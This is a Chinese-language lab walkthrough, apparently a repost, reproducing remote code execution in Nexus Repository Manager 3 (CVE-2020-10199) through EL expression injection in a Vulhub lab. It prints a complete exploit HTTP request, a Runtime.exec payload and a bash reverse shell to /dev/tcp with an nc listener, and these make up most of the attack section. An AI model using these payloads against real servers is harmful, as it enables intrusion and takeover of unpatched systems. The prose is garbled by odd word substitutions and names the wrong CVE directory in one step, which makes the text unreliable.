Nexus Repository Manager 3 长途命令执行漏洞 CVE-2020-10199
Nexus CVE-2020-10199 漏洞复现
1.实验目的
1、能成功搭建漏洞测试与测试工具所需的运行情况
2、能成功利用漏洞原理测试复现漏洞
2覆盖知识点
Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven堆栈管理器,极大地简化了内部堆栈的维护和外部堆栈的访问。CVE-2020-10199的漏洞可以颠末授权认证的攻击者,可以在长途通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限,具体过程只需要普通用户权限即可触发,漏洞的触发缘故原由是不安全的执行EL表达式导致的。
影响版本
3.21.1及之前版本
漏洞原理
对于普通用户权限及以上用户存在一处任意EL表达式注入漏洞通过不安全的执行EL表达式导致注入代码实现。
3实验情况与利用
实验情况
1、VMware Workstation 16
2、Ubuntu 20.4(靶场安装情况)
IP:192.168.32.135
3、kali Linux (攻击机)
IP:192.168.32.128
4、Vulhub靶场
5、Burp Suite
漏洞复现
启动Ubuntu的vulhub对应镜像
进入CVE-2019-7238情况地址
Cd vulhub/nexus/CVE-2020-10199
拉取并启动情况
docker-compose up -d
查看情况运行状态
docker-compose ps
在浏览器中访问web应用,查看是否搭建成功。http://192.168.32.135:8081
使用给的弱暗码登录进入后台。
用户暗码:admin/admin
登录后使用f12调试出cookie和csrf-token值
使用burpsuite进行抓包,发送数据包至repeater模块中,用如下的数据包以及上面得到的cookie和csrf-token值来发送数据包查看是否存在漏洞。
更改地方NX-ANTI-CSRF-TOKEN、Cookie两个地方更改为自身的值
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 靶场ip:端口
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: /
Origin: 靶场ip:端口
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: 靶场ip:端口
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{
“name”: “internal”,
“online”: true,
“storage”:
{
“blobStoreName”: “default”,
“strictContentTypeValidation”: true
},
“group”:
{
“memberNames”: [“$\A{9*9}”]
}
}
修改后,将构造的数据包发送可以看到构造的指令确实被执行了,说明漏洞确实存在。
以是就可以进一步构造我们想要的payload来实现一些恶意的利用,我们在“memberName“中的值改成能够执行命令的payload,然后发送数据包。
$\A{‘’.getClass().forName(‘java.lang.Runtime’).getMethods()[6].invoke(null).exec(‘touch /tmp/success’)}
返回Ubuntu靶机查看是否成功创建,创建成功
进一步,我们执行反弹shell,通过把执行写入文件的payload修改成反弹shell的命令,并且用nc进行端口监听
- " $\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}"
复制代码 我选择在kali中对9999端口进行监听,通过发送数据包可以在kali中监听到来自Ubuntu192.168.32.135的内容
通过ls /tmp查找到之前创立的文档,漏洞至此复现完毕。
实验总结
nexus 长途代码执行 (CVE-2020-10199)漏洞是一个基于maven的堆栈管理器,漏洞主要是不安全的执行了EL表达式导致的,根据网上的内容也就明确了为什么对于memberNames中的值进行修改和插入payload的利用了,这跟CVE-2019-7238漏洞原理也有异曲同工之处,同样是通过对于一些定义的函数不加以检查然后导致出现漏洞被用来注入执行长途代码。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |